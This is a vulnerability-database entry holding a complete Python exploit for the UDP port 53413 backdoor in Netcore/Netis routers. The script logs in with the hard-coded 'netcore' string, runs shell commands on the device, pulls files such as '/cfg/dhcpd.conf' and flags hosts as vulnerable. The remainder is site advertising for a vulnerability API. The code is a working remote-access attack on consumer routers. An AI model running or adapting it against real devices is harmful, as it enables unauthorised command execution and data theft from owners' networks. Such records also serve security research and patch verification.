Lucene search
K

Netcore Netis Routers - UDP Backdoor Access

🗓️ 15 Dec 2016 00:00:00Reported by nixawkType 
exploitpack
 exploitpack
👁 28 Views

Netcore/Netis routers UDP backdoor access using python script to create a UDP socket, send requests and receive responses for unauthorized acces

Code
#!/usr/bin/python
# -*- coding: utf8 -*-

# NETCORE / NETDIS UDP 53413 BACKDOOR
# https://netisscan.shadowserver.org/
# http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/
# https://www.seebug.org/vuldb/ssvid-90227

import socket
import struct
import logging


logging.basicConfig(level=logging.INFO, format="%(message)16s")


def create_udp_socket(timeout=10):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)

    return sock


def send_netcore_request(sock, host, port, data):
    HEAD = "\x00" * 8
    data = HEAD + data
    sock.sendto(data, (host, port))


def recv_netcore_response(sock, buffsize=512):
    try:
        resp = None
        addr = None
        resp, addr = sock.recvfrom(buffsize)
    except Exception as err:
        logging.debug('[-] %s' % err)
    finally:
        return resp, addr


def do_mptlogin(sock, host, port):
    """
    login netcore backdoor
    """

    netcore_response = []
    netcore_commands = ['netcore', '?']
    for command in netcore_commands:
        send_netcore_request(sock, host, port, command)
        resp, addr = recv_netcore_response(sock)

        if resp and resp not in netcore_response:
            netcore_response.append(resp)

    response_string = ",".join(netcore_response)
    if len(netcore_response) >= 1 and ('\x00\x00\x00\x05' in response_string):
        return (True, netcore_response)

    return (False, netcore_response)

    # ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00Login successed!\r\n',
    #  '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f']

    # ['\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x7f',
    #  '\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00'
    #  'IGD MPT Interface daemon 1.0\x00']

    # ['\x00\x00\x00\x06\x00\x01\x00\x00\xff\xff\xff\xffapmib_init fail!\r\n']

    # ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']
    # sh: netcore: not found
    # sh: /etc/services: Permission denied

    # ['\x00\x00\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00']

    # First Login  : 'AA\x00\x05ABAA\x00\x00\x00\x00Login successed!\r\n'
    # Second Login : IGD MPT Interface daemon 1.0


def do_mptfun(sock, host, port, cmdstring):
    """
    Usage: $Help
    Usage: $WriteMac <macaddr> <lan|wan|wlan1|wlan2|wlan3|wlan4>
    Usage: $ReadMac <lan|wan|wlan1|wlan2|wlan3|wlan4>[<str|STR>[separator]|bin]
    Usage: $WriteRegion <region> <wlan1|wlan3>
    Usage: $ReadRegion <wlan1|wlan3>
    Usage: $WriteSSID <SSID> <wlan1|wlan2|wlan3|wlan4>
    Usage: $ReadSSID <wlan1|wlan2|wlan3|wlan4>

    DESCRIPTION:
    wlan1:2.4G main AP
    wlan2:2.4G Multiple AP
    wlan3:5G Main AP
    wlan4:5G Multiple AP
    region:the abbreviation of the country,Must be capitalized.Like US,HK,JP
    """

    send_netcore_request(sock, host, port, cmdstring)
    resp, addr = recv_netcore_response(sock)

    if resp:
        return (True, resp)

    return (False, resp)


do_syscmd = do_mptfun


def do_getfile(sock, host, port, filename):
    buffsize = 0x408  # buff size to read
    datasize = 0x408  # data size from socket

    contents = []

    u1, u2, u3, u4 = 0, 1, 0, 0

    HEAD = struct.pack('>H', u1)
    HEAD += struct.pack('>H', u2)
    HEAD += struct.pack('>H', u3)
    HEAD += struct.pack('>H', u4)

    data = HEAD + filename
    sock.sendto(data, (host, port))

    while buffsize == datasize:
        data, addr = recv_netcore_response(sock, buffsize=buffsize)

        if not data:
            break

        datasize = len(data)

        u1, u2, u3, u4 = struct.unpack('>HHHH', data[:8])
        contents.append(data[8:])

        u2 = 5

        HEAD = struct.pack('>H', u1)
        HEAD += struct.pack('>H', u2)
        HEAD += struct.pack('>H', u3)
        HEAD += struct.pack('>H', u4)
        sock.sendto(HEAD, (host, port))

    data = "".join(contents)
    if contents:
        return True, data

    return False, data


def do_putfile():
    pass


def check(host, port=53413):
    sock = create_udp_socket(timeout=8)
    is_login, resp = do_mptlogin(sock, host, port)
    print(is_login, resp)
    if is_login:
        print("[+] %s:%s - \033[32mvulnerable\033[m" % (host, port))

        # bool_ret, resp = do_mptfun(sock, host, port, '$help')
        # print(resp)

        # bool_ret, resp = do_getfile(sock, host, port, '/cfg/dhcpd.conf')
        # print(resp)

        bool_ret, resp = do_syscmd(sock, host, port, 'ls -al /tmp')

    sock.close()


if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("[*] Usage: {} <target-netdis-ip>".format(sys.argv[0]))
    else:
        check(sys.argv[1])

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation